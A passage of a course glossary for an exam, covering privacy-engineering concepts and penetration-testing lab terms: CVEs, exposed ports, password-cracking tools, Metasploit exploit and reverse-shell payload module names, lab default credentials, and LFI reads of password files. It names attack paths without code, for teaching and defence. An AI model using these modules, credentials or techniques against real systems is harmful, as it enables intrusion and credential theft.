DEFINITION: Privacy engineering is the discipline of translating privacy principles, rights, and legal requirements into system architecture, requirements, controls, testing, and operational practices. It makes privacy a concrete design and engineering problem rather than only a legal policy statement.

WHY it matters: A privacy policy does not protect anyone if the system architecture stores too much data, keeps it forever, leaks identifiers, lacks access controls, or makes deletion impossible. Privacy engineering asks how systems can technically implement data minimization, purpose limitation, transparency, user rights, and privacy-by-design.

Typical techniques: data-flow mapping, threat modeling with LINDDUN, privacy requirements, consent and preference management, access control, retention enforcement, anonymization/pseudonymization, differential privacy, audit logging, DPIAs, and privacy testing.

Connection: Privacy engineering sits between law, software engineering, cybersecurity, and data science. It connects GDPR Article 25 privacy-by-design/default, Article 32 security measures, DPIAs, and privacy-enhancing technologies.

k-anonymity

DEFINITION: k-anonymity is an anonymization property requiring each released record to be indistinguishable from at least k-1 other records with respect to selected quasi-identifiers. If k = 5, every combination of quasi-identifiers in the released dataset should appear in at least 5 records.

WHY it matters: Direct identifiers such as names can be removed while people are still re-identifiable through quasi-identifiers such as age, ZIP/postal code, gender, date of birth, diagnosis, or rare combinations. k-anonymity reduces singling-out risk by creating groups.

Limitations: k-anonymity does not guarantee true anonymity. If all members of a group share the same sensitive value, an attacker can infer it. It also does not fully prevent attacks using background knowledge, linkability, or homogeneity. Choosing quasi-identifiers incorrectly can make the protection meaningless.

Connection: l-diversity and t-closeness were developed to address weaknesses in k-anonymity. Differential privacy takes a different approach by bounding what can be learned from query outputs rather than only modifying a released table.

l-diversity

DEFINITION: l-diversity strengthens k-anonymity by requiring that each equivalence class contain at least l well-represented sensitive values. It tries to prevent the situation where a k-anonymous group still reveals a sensitive attribute because every record in the group has the same value.

WHY it matters: Imagine a medical dataset where a person cannot be singled out exactly, but everyone in their anonymized group has the same diagnosis. k-anonymity hides the exact row; l-diversity tries to hide the sensitive value by requiring diversity inside the group.

Limitations: l-diversity can still fail if sensitive values are semantically similar or if their distribution is very different from the overall population. For example, several different but related diseases may still reveal a strong medical inference.

Connection: t-closeness goes further by requiring the sensitive-value distribution in each group to be close to the overall distribution. In exam terms: k-anonymity protects against singling out; l-diversity addresses homogeneity and attribute disclosure; t-closeness addresses distributional inference.

Differential Privacy

DEFINITION: Differential privacy is a formal privacy guarantee for statistical analysis. Roughly, it ensures that the output of an analysis does not change too much when any one individual's data is added or removed, limiting what an attacker can infer about whether a person participated in the dataset.

WHY it matters: Traditional anonymization can fail when datasets are linked. Differential privacy provides a mathematical way to publish useful aggregate statistics while limiting individual disclosure risk. It is especially relevant for census data, telemetry, machine learning, analytics, and privacy-preserving data analysis.

How it works: Mechanisms commonly add calibrated random noise, such as Laplace or Gaussian noise, to query results. The privacy-loss parameter epsilon describes the privacy/utility trade-off: smaller epsilon usually means stronger privacy but less accurate results.

Connection: Differential privacy is different from pseudonymization and k-anonymity. It is not mainly about removing names from rows; it is about bounding information leakage from outputs.

It connects to PETs, privacy-preserving data analysis, inference attacks, and statistical disclosure control.

Compact exam cross-links

Topic	Exam connection
Malware sample repositories	theZoo and MalwareBazaar are defensive/research resources only when handled in a contained malware lab. They connect to sandboxing, reverse engineering, indicators of compromise, and legal/ethical boundaries.
Standards vs law	NIST SP 800-53 and ISO/IEC 27001 are standards/control-management references. GDPR, the EU Charter, and national DPA enforcement are legal/fundamental-rights contexts. Standards guide how to manage controls; law creates obligations.
Privacy vs confidentiality	Confidentiality prevents unauthorized disclosure. Privacy also includes autonomy, dignity, private life, lawful processing, purpose limitation, user rights, and control over personal information.
DPA vs EDPB	A DPA enforces data-protection law in a country. The EDPB coordinates European interpretation and consistency across DPAs.
Anonymization ladder	k-anonymity groups records; l-diversity adds sensitive-value diversity; differential privacy adds mathematically calibrated uncertainty to outputs.

CYBERSECURITY COURSE

Lab-Derived Terms - Practical Labs L01-L11

Open-book exam reference - use Ctrl+F / Cmd+F to find any term

This separate section expands the practical-lab terms into exam-ready definitions. Each entry explains what the term is, why it matters, and how it connects to the rest of the course. Use only in authorized lab environments.

■ LAB-DERIVED TERMS - CVES, VULNERABLE SERVICES, AND EXPLOIT REFERENCES

CVE-2011-2523

CVE-2011-2523 is the famous vsftpd 2.3.4 backdoor vulnerability. A malicious version of the FTP daemon contained hidden behavior that opened a command shell when a specially crafted username was supplied. In Metasploitable 2 this is one of the classic introductory remote code execution examples.

WHY it matters: It matters because it shows the difference between a normal software bug and a supply-chain/backdoored release. The service looked like ordinary FTP, but the distributed binary itself contained malicious logic.

Connection: Connection: mapped to port 21/FTP, Metasploit module `exploit/unix/ftp/vsftpd_234_backdoor`, and the general concepts of backdoors, unauthorized access, remote shells, and vulnerable lab targets. It is a confidentiality, integrity, and availability risk once shell access is obtained.

CVE-2010-2075

CVE-2010-2075 is the UnrealIRCd 3.2.8.1 backdoor. A compromised source distribution included code that allowed arbitrary operating-system commands to be executed through crafted IRC input.

WHY it matters: It matters because IRC is normally just a chat protocol, but a maliciously modified server binary turned a network service into a remote command execution entry point. The weakness is not the protocol itself but the compromised implementation.

Connection: Connection: appears in Metasploitable 2, is associated with ports such as 6667 and 6697, and is used with `exploit/unix/irc/unreal_ircd_3281_backdoor`. It demonstrates why software provenance and update integrity matter.

CVE-2007-2447 / Samba usermap_script

CVE-2007-2447 affects Samba versions where the username map script feature passed attacker-controlled username input to a shell without safe sanitization. The result is unauthenticated remote command execution through the Samba service.

WHY it matters: It matters because it is a clean example of command injection: data that should have been treated as an identity string became shell syntax. It also shows why internal file-sharing services become severe risks when exposed or misconfigured.

Connection: Connection: commonly exploited in labs through `exploit/multi/samba/usermap_script`. It links to input validation, SMB/Samba exposure, remote code execution, and the STRIDE category Tampering/Elevation of Privilege depending on the resulting access.

CVE-2017-0144 / MS17-010 / EternalBlue

CVE-2017-0144 is a Windows SMBv1 vulnerability patched by Microsoft bulletin MS17-010 and widely known through the EternalBlue exploit. It allowed unauthenticated remote code execution against vulnerable Windows systems and could result in NT AUTHORITY\SYSTEM privileges.

WHY it matters: It matters because it became a real-world wormable enterprise disaster, not just a lab finding. The vulnerability was used in major outbreaks such as WannaCry and NotPetya, proving that old protocol exposure plus delayed patching can cause global impact.

Connection: Connection: relates to SMB, patch management, EOL systems, lateral movement, ransomware, and Metasploit module `exploit/windows/smb/ms17_010_eternalblue`. It is a strong exam example for why vulnerability management must be timely.

CVE-2019-0708 / BlueKeep

CVE-2019-0708, called BlueKeep, is a pre-authentication remote code execution vulnerability in Remote Desktop Services on older Windows versions including Windows 7 and Windows Server 2008 R2.

WHY it matters: It matters because the attacker does not need valid credentials. Exposing RDP to untrusted networks turns a remote administration feature into a high-value attack surface.

Connection: Connection: relates to port 3389/RDP, wormable vulnerabilities, network exposure, patching, and the distinction between authenticated remote administration and unauthenticated exploitation.

CVE-2019-1181 / DejaBlue

CVE-2019-1181 is one of the DejaBlue family of RDP remote code execution vulnerabilities. It is conceptually similar to BlueKeep because it affects Remote Desktop Services and can be exploited before authentication on vulnerable systems.

WHY it matters: It matters because it shows that once a vulnerability class is discovered, related flaws often appear in the same subsystem. Defenders should not patch only the famous CVE while leaving adjacent RDP issues unresolved.

Connection: Connection: associated with RDP hardening, patching, network segmentation, and reducing public exposure of remote management services.

CVE-2020-1938 / Ghostcat

CVE-2020-1938, known as Ghostcat, affects the Apache Tomcat AJP Connector. If the AJP port is exposed, attackers may read application files and in some configurations reach remote code execution through request manipulation.

WHY it matters: It matters because AJP was often intended as an internal connector between a web server and Tomcat, not as an internet-facing service. Internal-only assumptions become dangerous when firewalling or segmentation fails.

Connection: Connection: tied to port 8009/AJP, Tomcat, file disclosure, possible WAR/application compromise, and the principle that internal service ports should not be exposed unnecessarily.

CVE-2012-1823

CVE-2012-1823 is a PHP CGI argument injection vulnerability. When PHP is run in vulnerable CGI configurations, attacker-controlled query-string values can be interpreted as command-line options to the PHP-CGI binary.

WHY it matters: It matters because it shows how deployment mode changes risk. The same language/runtime can be safe in one configuration and dangerous in another when request data crosses into interpreter arguments.

Connection: Connection: relates to web server configuration, CGI, remote code execution, input validation, and scanner findings that need configuration context rather than only version matching.

CVE-2004-2687 / DistCC RCE

CVE-2004-2687 affects the distccd distributed compiler daemon. Vulnerable or misconfigured distccd instances can accept unauthenticated requests that cause commands to run on the compilation host.

WHY it matters: It matters because services built for trusted internal developer networks can become critical when exposed. A compiler helper daemon is not designed to be a public remote execution interface.

Connection: Connection: associated with port 3632, Metasploitable 2, remote command execution, network segmentation, and the rule that internal build infrastructure should be isolated and authenticated.

CVE-2014-3120 / Elasticsearch Dynamic Script RCE

CVE-2014-3120 affects older Elasticsearch 1.x deployments with dynamic scripting enabled. Crafted search queries could execute Groovy/MVEL code on the server.

WHY it matters: It matters because Elasticsearch is often treated as a data/search backend, but exposed administrative or query APIs can become full code execution surfaces if unsafe features are enabled.

Connection: Connection: linked to port 9200, Elasticsearch 1.1.1 in labs, unauthenticated REST APIs, data exposure, and secure defaults for databases/search engines.

CVE-2008-0166 / Weak Debian OpenSSH Keys

CVE-2008-0166 is the Debian OpenSSL random number generator bug that caused predictable cryptographic keys. Systems generated only a small set of possible SSH keys, allowing attackers to precompute likely private keys.

WHY it matters: It matters because cryptography can fail even when the algorithm is strong if randomness is broken. The security of SSH keys depends heavily on high-quality entropy during key generation.

Connection: Connection: relates to `authorized_keys`, SSH authentication, key rotation, cryptographic randomness, and why scanners flag known weak keys even if the SSH service itself appears correctly configured.

CVE-2014-6271 / Shellshock

CVE-2014-6271, Shellshock, is a Bash vulnerability where trailing commands after exported function definitions could be executed when Bash processed environment variables.

WHY it matters: It matters because environment variables cross many boundaries: CGI scripts, SSH forced commands, DHCP hooks, and other automation paths. A shell parsing bug therefore became remotely exploitable in surprising contexts.

Connection: Connection: classic example of injection through unexpected input channels. It links to CGI, command injection, patch urgency, and the risk of complex parsers in privileged contexts.

CVE-2014-0224 / OpenSSL CCS MitM

CVE-2014-0224 is an OpenSSL ChangeCipherSpec injection flaw. Under vulnerable client/server combinations, a man-in-the-middle could force weak key material and potentially decrypt or modify TLS traffic.

WHY it matters: It matters because TLS is supposed to provide confidentiality and integrity, but implementation flaws in handshake state handling can undermine the whole security promise.

Connection: Connection: relates to MITM, TLS configuration, OpenSSL, confidentiality/integrity, and why protocol correctness plus library patching both matter.

CVE-2011-0411 / STARTTLS Command Injection

CVE-2011-0411 involves STARTTLS command injection in some SMTP/IMAP servers. Buffered plaintext commands were not properly discarded when the connection switched into encrypted mode.

WHY it matters: It matters because upgrading a plaintext session to TLS is security-sensitive. Data received before encryption must not be confused with data received after encryption begins.

Connection: Connection: connects to STARTTLS, email security, MITM-adjacent risks, state-machine mistakes, and protocol transition boundaries.

CVE-2015-4000 / LogJam

CVE-2015-4000, LogJam, is a TLS downgrade attack against export-grade Diffie-Hellman cipher suites. Attackers could force weak 512-bit DH parameters in vulnerable configurations and recover session secrets.

WHY it matters: It matters because legacy compatibility can preserve obsolete cryptography long after it should have been removed. Supporting weak fallback modes creates downgrade opportunities.

Connection: Connection: relates to SSL Labs findings, TLS hardening, forward secrecy, weak DH parameters, and the general lesson to disable export/legacy cipher suites.

CVE-2014-3566 / POODLE

CVE-2014-3566, POODLE, is a padding-oracle attack against SSLv3 using CBC-mode padding behavior. It can allow recovery of plaintext from SSL-protected sessions under suitable conditions.

WHY it matters: It matters because SSLv3 is obsolete, but backward compatibility kept it enabled on many servers. Attackers often exploit the oldest protocol a server is willing to negotiate.

Connection: Connection: relates to TLS/SSL configuration, protocol downgrade, SSL Labs reports, and the rule that old protocols such as SSLv2/SSLv3 should be disabled entirely.

CVE-2016-7144 / UnrealIRCd Authentication Spoofing

CVE-2016-7144 is an UnrealIRCd authentication spoofing vulnerability. A crafted request could allow an attacker to bypass or fake authentication state in affected versions.

WHY it matters: It matters because authentication state is a core security boundary. If the server accepts forged identity or privilege information, authorization decisions become meaningless.

Connection: Connection: relates to STRIDE Spoofing, authentication, IRC server exposure, patching, and service-version validation during scanning.

CVE-2021-44228 / Log4Shell

CVE-2021-44228, Log4Shell, is a critical JNDI injection vulnerability in Apache Log4j 2. Logging attacker-controlled strings could trigger outbound lookups and load attacker-controlled code in vulnerable configurations.

WHY it matters: It matters because logging is usually considered passive and safe, yet the vulnerability turned ordinary text into code execution. It also spread widely because Log4j was embedded deep in Java dependency trees.

Connection: Connection: relates to supply-chain risk, dependency inventory, egress filtering, application logging, remote code execution, and incident response at enterprise scale.

■ LAB-DERIVED TERMS - PORTS, PROTOCOLS, AND EXPOSED SERVICES

Port 1524 / Bindshell (Ingreslock)

Port 1524 on Metasploitable 2 exposes an Ingreslock-style bind shell. Connecting to it gives a root shell without authentication in the vulnerable lab VM.

WHY it matters: It matters because it is the simplest possible example of catastrophic exposure: no exploit chain is needed when a shell is already listening as root.

Connection: Connection: ties to backdoors, bind shells, service enumeration, netstat/lsof verification, and the importance of closing unexpected listening ports.

Port 3632 / DistCC

Port 3632 is commonly used by distccd, the Distributed C Compiler daemon. In the lab, exposing this port on vulnerable DistCC versions allows remote command execution.

WHY it matters: It matters because build and developer services are often trusted internally but are dangerous if reachable by attackers. The port itself is not always malicious; the risk depends on version, configuration, and exposure.

Connection: Connection: linked to CVE-2004-2687, service fingerprinting with Nmap, and segmentation of development infrastructure.

Port 8787 / dRuby (Distributed Ruby)

Port 8787 is used in the lab for dRuby, Ruby's distributed object/RPC mechanism. If exposed without proper controls, it can allow arbitrary method invocation and remote code execution.

WHY it matters: It matters because RPC frameworks frequently expose powerful internal language/runtime functions. They are rarely safe to publish directly to untrusted networks.

Connection: Connection: relates to remote method invocation, unauthenticated services, Metasploitable 2, and minimizing network attack surface.

Port 8009 / AJP (Apache JServ Protocol)

Port 8009 is the default AJP connector port used to pass requests between a front-end web server and Apache Tomcat. It is normally meant for internal proxying, not direct public access.

WHY it matters: It matters because Ghostcat showed that exposing AJP can disclose application files and sometimes enable code execution. Internal connector ports require firewalling and correct secret configuration.

Connection: Connection: linked to CVE-2020-1938, Tomcat, reverse proxy architecture, and the distinction between public HTTP/HTTPS ports and internal application connectors.

Port 9200 / Elasticsearch REST API

Port 9200 is Elasticsearch's default HTTP REST API port. Older Elasticsearch versions often had no default authentication, allowing anyone with network access to search, modify, or delete indices.

WHY it matters: It matters because databases and search engines often expose administrative capabilities through HTTP APIs. If those APIs are reachable without authentication, data confidentiality and integrity are immediately at risk.

Connection: Connection: relates to Elasticsearch 1.1.1, CVE-2014-3120, information disclosure, data destruction, and access control on backend services.

Port 4848 / GlassFish Admin Console

Port 4848 is commonly used by the Oracle GlassFish administration console. Weak, default, or empty credentials can allow attackers to deploy applications and gain code execution.

WHY it matters: It matters because administrative web consoles are extremely powerful. If they are exposed or poorly authenticated, the attacker does not need a memory corruption bug; normal admin functionality becomes the attack path.

Connection: Connection: linked to WAR deployment, default credentials, application-server hardening, and management-plane isolation.

Port 5985 / WinRM (Windows Remote Management)

Port 5985 is the HTTP-based WinRM service used for Windows remote management and PowerShell remoting. In labs it may be reachable with known credentials such as vagrant:vagrant.

WHY it matters: It matters because WinRM is legitimate administration infrastructure. If exposed with weak credentials, it becomes a direct remote control channel.

Connection: Connection: relates to auxiliary/scanner/winrm/winrm_login, authenticated scanning, default credentials, lateral movement, and least privilege for administrative accounts.

Port 2049 / NFS (Network File System)

Port 2049 is used by NFS, a Unix/Linux network file-sharing protocol. Misconfigured exports can allow unauthenticated mounting and reading of server files.

WHY it matters: It matters because file shares often contain credentials, source code, backups, and configuration. World-readable NFS exports can turn a network discovery finding into sensitive data exposure.

Connection: Connection: linked to export permissions, /etc/exports, lateral movement, information disclosure, and the need to restrict file-sharing to trusted hosts.

Port 6697 / IRC over SSL

Port 6697 is commonly used for IRC over TLS. In Metasploitable 2, the UnrealIRCd backdoor may also be reachable through the TLS-protected IRC service.

WHY it matters: It matters because encryption does not make a vulnerable service safe. TLS protects traffic in transit; it does not fix backdoored or vulnerable application logic.

Connection: Connection: connects to CVE-2010-2075, TLS-wrapped services, service fingerprinting, and the difference between transport security and application security.

Port 512 / rexec

Port 512 is associated with rexec, a legacy remote execution service. It transmits credentials in ways unsuitable for modern security and allows remote command execution when authenticated or misconfigured.

WHY it matters: It matters because old trust and remote-execution protocols are high risk in modern networks. They often lack encryption and strong authentication.

Connection: Connection: related to rlogin/rsh, cleartext credentials, legacy Unix services, and hardening by disabling unnecessary network daemons.

Port 513 / rlogin

Port 513 is associated with rlogin, a legacy remote login protocol that can use .rhosts or hosts.equiv trust relationships for passwordless access.

WHY it matters: It matters because host-based trust is fragile. If an attacker controls or spoofs a trusted host, or if trust files are too permissive, authentication is effectively bypassed.

Connection: Connection: linked to .rhosts, hosts.equiv, cleartext remote login, Metasploitable 2, and the principle that SSH should replace legacy r-services.

Port 514 / rsh

Port 514 is associated with rsh, the legacy remote shell service. It allows remote command execution based on trust relationships rather than modern encrypted authentication.

WHY it matters: It matters because rsh provides command execution without the protections expected from SSH. Even if convenient in old Unix environments, it is inappropriate for modern production security.

Connection: Connection: relates to rlogin, rexec, .rhosts, hosts.equiv, cleartext traffic, and disabling legacy services during hardening.

■ LAB-DERIVED TERMS - TOOLS, PAYLOADS, SCANNERS, AND MODULES

hping3

hping3 is a command-line packet crafting and network testing tool. It can generate custom TCP/IP packets and is often used in labs to demonstrate SYN packets, firewall behavior, and denial-of-service concepts.

WHY it matters: It matters because it shows how low-level packet behavior can be created manually rather than only observed. In authorized labs it helps explain TCP flags and DoS mechanics; outside authorization it can be disruptive.

Connection: Connection: linked to SYN flood demonstrations, TCP handshake concepts, rate limiting, firewall testing, and the difference between educational packet crafting and unauthorized traffic generation.

John the Ripper

John the Ripper is a password hash cracking tool. It supports dictionary attacks, rule-based mutations, brute force modes, and many hash formats such as MD5crypt, bcrypt, and NTLM.

WHY it matters: It matters because password security is not only about the login page. If hashes are stolen, attackers can crack them offline without rate limits or account lockouts.

Connection: Connection: commonly used with /etc/shadow and rockyou.txt. Defences include strong password policy, MFA, slow salted password hashing, and protecting password-hash files.

rockyou.txt

rockyou.txt is a widely used password wordlist derived from the 2009 RockYou breach, containing millions of real user passwords. It is a standard dictionary input in password-cracking labs.

WHY it matters: It matters because real users choose predictable passwords. Wordlists based on leaked passwords often outperform naive brute force against human-chosen passwords.

Connection: Connection: used with John the Ripper and Hashcat. It demonstrates why password reuse, weak password policy, and lack of MFA are dangerous.

Hashcat

Hashcat is a GPU-accelerated password hash cracking tool. It supports many hash algorithms and attack modes, including dictionary, mask, hybrid, and rule-based attacks.

WHY it matters: It matters because GPUs make offline guessing far faster than CPU-only cracking. Hashes that seem strong on paper can fall quickly if passwords are short or common.

Connection: Connection: relates to offline guessing, password hashing algorithms, salts, bcrypt/Argon2id, NTLM, and the importance of long random passwords.

SSL Labs / Qualys SSL Test

SSL Labs / Qualys SSL Test is an online service that evaluates a server's TLS/SSL configuration. It reports protocol support, certificates, cipher suites, key exchange, and weaknesses such as POODLE, DROWN, or weak DH.

WHY it matters: It matters because TLS security depends on many configuration details, not just having HTTPS enabled. A server can have a certificate and still support obsolete protocols or weak ciphers.

Connection: Connection: linked to LogJam, POODLE, DROWN, forward secrecy, TLS checklists, and configuration hardening.

auxiliary/scanner/winrm/winrm_login

auxiliary/scanner/winrm/winrm_login is a Metasploit auxiliary module used to validate or brute-force credentials against WinRM services in an authorized scope.

WHY it matters: It matters because it demonstrates the assessment difference between discovering a port and proving credential exposure. A reachable WinRM service becomes serious when weak or known credentials work.

Connection: Connection: tied to port 5985, Metasploitable 3, default credentials, password policy, rate limiting, and authenticated remote administration.

exploit/unix/ftp/vsftpd_234_backdoor

exploit/unix/ftp/vsftpd_234_backdoor is the Metasploit module for the vsftpd 2.3.4 backdoor. It triggers the known backdoor behavior and connects to the resulting shell in a lab environment.

WHY it matters: It matters because it shows how Metasploit packages a known vulnerability into a repeatable module with options, target selection, and payload handling.

Connection: Connection: maps to CVE-2011-2523, FTP enumeration, RHOST/RPORT concepts, and the legal requirement that exploit modules only be used in authorized environments.

exploit/unix/irc/unreal_ircd_3281_backdoor

exploit/unix/irc/unreal_ircd_3281_backdoor is the Metasploit module for the UnrealIRCd 3.2.8.1 backdoor. It sends the backdoor trigger and obtains command execution on the target lab service.

WHY it matters: It matters because it connects vulnerability research to operational exploitation workflow. The module name encodes platform, protocol/service, and vulnerability target.

Connection: Connection: linked to CVE-2010-2075, UnrealIRCd, reverse shells, and software supply-chain compromise.

exploit/multi/samba/usermap_script

exploit/multi/samba/usermap_script is the Metasploit module for the Samba username map script command injection vulnerability. It targets affected Samba configurations through malicious username input.

WHY it matters: It matters because it shows how a simple input-handling flaw in a common file-sharing service can become remote command execution.

Connection: Connection: maps to CVE-2007-2447, command injection, SMB/Samba enumeration, and validating vulnerable versions discovered by Nmap or scanners.

exploit/windows/smb/ms17_010_eternalblue

exploit/windows/smb/ms17_010_eternalblue is the Metasploit module for exploiting MS17-010/EternalBlue on vulnerable Windows SMBv1 systems.

WHY it matters: It matters because it is a lab representation of a vulnerability that caused major real-world outbreaks. It should be understood as a high-impact example, not a generic scanner check.

Connection: Connection: linked to CVE-2017-0144, SMBv1, NT AUTHORITY\SYSTEM, WannaCry, NotPetya, patch management, and network segmentation.

cmd/unix/reverse

cmd/unix/reverse is a basic Metasploit payload that opens a reverse shell from a Unix-like target back to the attacker's listener. It usually provides a simple command shell rather than advanced post-exploitation features.

WHY it matters: It matters because reverse shells are common in labs where inbound access to the target may be blocked but outbound connections are allowed. They also show why egress filtering matters.

Connection: Connection: relates to payloads, LHOST/LPORT, bind vs reverse shells, firewalls, and command-line post-exploitation.

linux/x86/meterpreter/reverse_tcp

linux/x86/meterpreter/reverse_tcp is a staged Meterpreter payload for 32-bit Linux that connects back over TCP and loads the full Meterpreter agent.

WHY it matters: It matters because Meterpreter provides richer post-exploitation capabilities than a plain shell, such as session management and structured interaction. That makes it useful in controlled labs but also powerful and sensitive.

Connection: Connection: linked to staged payloads, reverse TCP, architecture matching, post-exploitation, and strict authorization boundaries.

Unauthenticated vs Authenticated Scan (comparison)

An unauthenticated scan tests what is visible from the network without credentials. An authenticated scan logs in with approved credentials and can inspect local packages, configuration, registry entries, installed software, and patch state.

WHY it matters: It matters because unauthenticated scans often miss local vulnerabilities that are not externally visible. Authenticated scans give better coverage but require credential protection and careful scope control.

Connection: Connection: Nessus/GVM results, EOL detection, weak keys, local CVEs, compliance auditing, and the difference between outside-in exposure and inside-system configuration state.

End-of-Life (EOL) Software

End-of-Life software is software that no longer receives vendor security updates. Examples in labs include old operating systems and intentionally outdated vulnerable targets.

WHY it matters: It matters because an EOL system cannot be fully remediated by normal patching. New vulnerabilities discovered after support ends may remain permanently unpatched.

Connection: Connection: vulnerability scanners often mark EOL as critical or high. Mitigations include upgrade, replacement, isolation, compensating controls, and accepting residual risk only with clear justification.

Default Credentials

Default credentials are vendor- or image-supplied usernames and passwords such as admin/admin, msfadmin/msfadmin, kali/kali, or vagrant/vagrant. They are intended for initial setup or labs, not production use.

WHY it matters: It matters because attackers try defaults first. If credentials are known from documentation, GitHub, VM images, or prior breaches, authentication becomes no barrier at all.

Connection: Connection: appears throughout labs with Metasploitable, Kali, WinRM, Tomcat/GlassFish consoles, and phpMyAdmin. Defences are forced password changes, unique credentials, MFA, and disabling unused accounts.

Web Application Firewall (WAF)

A Web Application Firewall inspects HTTP and HTTPS traffic to and from web applications and applies rules to detect or block common attacks such as SQL injection, XSS, path traversal, and malicious payloads.

WHY it matters: It matters because web applications are large attack surfaces and cannot always be fixed instantly. A WAF can reduce exposure while code is being repaired, but it is not a substitute for secure design.

Connection: Connection: relates to OWASP Top 10, reverse proxies, defence-in-depth, false positives, and compensating controls.

Next-Generation Firewall (NGFW)

A Next-Generation Firewall combines traditional packet filtering and stateful inspection with deep packet inspection, application awareness, intrusion-prevention features, and sometimes user identity integration.

WHY it matters: It matters because modern attacks often use allowed ports such as 80 and 443. NGFWs try to reason about applications and content rather than only IP addresses and ports.

Connection: Connection: compared with network-based firewalls and WAFs. It supports segmentation, monitoring, and policy enforcement but still needs correct configuration.

Network-Based Firewall

A network-based firewall is a firewall appliance or service placed at a network boundary or segment boundary to control traffic between networks.

WHY it matters: It matters because segmentation and perimeter control reduce reachable attack surface. A vulnerable service is less risky if only authorized networks can reach it.

Connection: Connection: contrasts with host-based firewalls. Used with DMZs, internal segmentation, lab isolation, and reducing exposure of services such as RDP, AJP, NFS, and admin consoles.

QoD (Quality of Detection)

QoD, or Quality of Detection, is an OpenVAS/GVM confidence metric indicating how reliable a vulnerability detection is. Higher QoD means the scanner has stronger evidence that the issue is present.

WHY it matters: It matters because scanners produce false positives and uncertain findings. Filtering by QoD helps prioritize results that deserve immediate validation.

Connection: Connection: relates to vulnerability management, GVM/OpenVAS reporting, manual validation, and the idea that scanner output is evidence, not final truth.

CVSSv3 (Common Vulnerability Scoring System v3)

CVSSv3 is a standardized vulnerability scoring system from 0.0 to 10.0. It captures exploitability and impact metrics such as attack vector, privileges required, user interaction, scope, and confidentiality/integrity/availability impact.

WHY it matters: It matters because it gives a shared severity language: Critical, High, Medium, and Low. It helps prioritize, but it does not replace local risk analysis.

Connection: Connection: used by NVD, Nessus, GVM, and reports throughout the course. Risk still depends on exposure, business importance, compensating controls, and exploit availability.

Vulnerability Plugin Family (Nessus)

A Vulnerability Plugin Family in Nessus is a grouping of checks by category, such as Backdoors, Web Servers, Gain a Shell Remotely, or Ubuntu Local Security Checks.

WHY it matters: It matters because plugin families help interpret large scan reports. They reveal whether findings are about remote shells, patch state, web configuration, credentials, or local package checks.

Connection: Connection: useful for prioritizing vulnerability assessment results and distinguishing network-visible findings from authenticated local checks.

■ LAB-DERIVED TERMS - FINDINGS, FILES, AND POST-EXPLOITATION CONCEPTS

Ingreslock Backdoor

Ingreslock Backdoor is another name for the open root bind shell on port 1524/tcp in Metasploitable 2. It resembles a service name but exposes direct shell access.

WHY it matters: It matters because it teaches that service names can be misleading. Enumeration must verify what a port actually does, not assume safety from the label.

Connection: Connection: related to Port 1524, bind shells, netcat testing in labs, and critical vulnerability findings.

Anonymous FTP Login

Anonymous FTP login allows users to connect to an FTP server with a generic anonymous identity rather than individual credentials. It may be intended for public downloads but is risky if sensitive files are exposed.

WHY it matters: It matters because unauthenticated file access can leak configuration, credentials, backups, or source code. If write access is allowed, it can also become a malware or web-shell upload path.

Connection: Connection: relates to FTP enumeration, access control, information disclosure, and checking whether anonymous access is intentional and limited.

phpinfo() Exposure

phpinfo() exposure means a public web page displays PHP configuration details generated by the phpinfo() function. It reveals versions, modules, environment variables, file paths, and sometimes sensitive settings.

WHY it matters: It matters because attackers use configuration disclosure to choose exploits and build attack paths. Information disclosure often enables later exploitation even if it is not code execution by itself.

Connection: Connection: linked to web server hardening, version fingerprinting, path disclosure, and reducing unnecessary diagnostic endpoints in production.

LFI (Local File Inclusion)

Local File Inclusion is a web vulnerability where unsanitized user input controls which local file the application includes or reads. Classic examples try to read `/etc/passwd` or application configuration files.

WHY it matters: It matters because LFI can expose secrets, source code, and credentials. In some cases it can escalate to code execution through log poisoning, upload paths, or PHP wrappers.

Connection: Connection: appears in vulnerable web apps such as Mutillidae. Related to path traversal, input validation, file permissions, and information disclosure.

TWiki RCE (CVE-2008-5304 / CVE-2008-5305)

Older TWiki versions contained vulnerabilities including cross-site scripting and remote command execution. In lab scanners, TWiki on Metasploitable 2 appears as a high-severity web application finding.

WHY it matters: It matters because third-party web applications become part of your attack surface. Even if the underlying server is patched, an outdated application can still provide compromise paths.

Connection: Connection: relates to web scanners, plugin/application patching, CVE mapping, and prioritizing internet-facing web software.

Samba Badlock (CVE-2016-0128)

Samba Badlock refers to vulnerabilities in SMB/DCERPC authentication handling where man-in-the-middle attackers could downgrade or intercept authentication under certain conditions.

WHY it matters: It matters because file-sharing authentication is a high-value target. Weaknesses in authentication protocols can expose credentials or allow unauthorized actions across Windows/Unix interoperability environments.

Connection: Connection: linked to Samba, SMB, MITM, authentication integrity, and the importance of signing, patching, and network trust boundaries.

SSL DROWN Attack (CVE-2016-0800)

DROWN is a cross-protocol attack that abuses SSLv2 support to decrypt TLS sessions when the same private key is shared between vulnerable SSLv2 and modern TLS services.

WHY it matters: It matters because one obsolete service can weaken another stronger service if they share cryptographic material. Disabling SSLv2 everywhere and separating keys are critical.

Connection: Connection: relates to SSL Labs findings, TLS hardening, legacy protocol removal, and certificate/private-key reuse.

SSH Weak KEX Algorithms

SSH weak key-exchange algorithms are outdated or cryptographically weak methods supported during SSH session negotiation, such as obsolete Diffie-Hellman groups or algorithms that no longer meet modern security expectations.

WHY it matters: It matters because SSH may still appear encrypted while allowing weaker negotiation than intended. Attackers prefer the weakest algorithm both sides accept.

Connection: Connection: linked to SSH hardening, scanner findings, forward secrecy, cryptographic policy, and disabling legacy algorithms in `sshd_config`.

Directory Listing

Directory listing means a web server automatically shows the files in a directory when no index page exists. This can reveal scripts, backups, configuration files, old versions, and sensitive documents.

WHY it matters: It matters because attackers often find credentials or hidden functionality by browsing exposed directories. The vulnerability is usually a configuration mistake rather than a code bug.

Connection: Connection: relates to information disclosure, web server hardening, backups left under web roots, and OWASP-style reconnaissance.

UNION-based SQL Injection

UNION-based SQL Injection is a SQLi technique where an attacker appends a UNION SELECT query to combine attacker-chosen results with the application's original query output.

WHY it matters: It matters because it can extract data from unrelated tables, such as usernames and password hashes, when input is concatenated into SQL unsafely.

Connection: Connection: tied to OWASP Injection, parameterized queries, database permissions, error-based enumeration, and vulnerable apps such as DVWA/Mutillidae.

/etc/shadow

/etc/shadow is the Linux file that stores password hashes and password-aging information. It is readable only by root or privileged processes on properly configured systems.

WHY it matters: It matters because stealing /etc/shadow enables offline password cracking. The attacker can guess at full speed without triggering login rate limits.

Connection: Connection: used with /etc/passwd, John the Ripper, Hashcat, salts, password policy, and privilege escalation after local access.

/etc/passwd

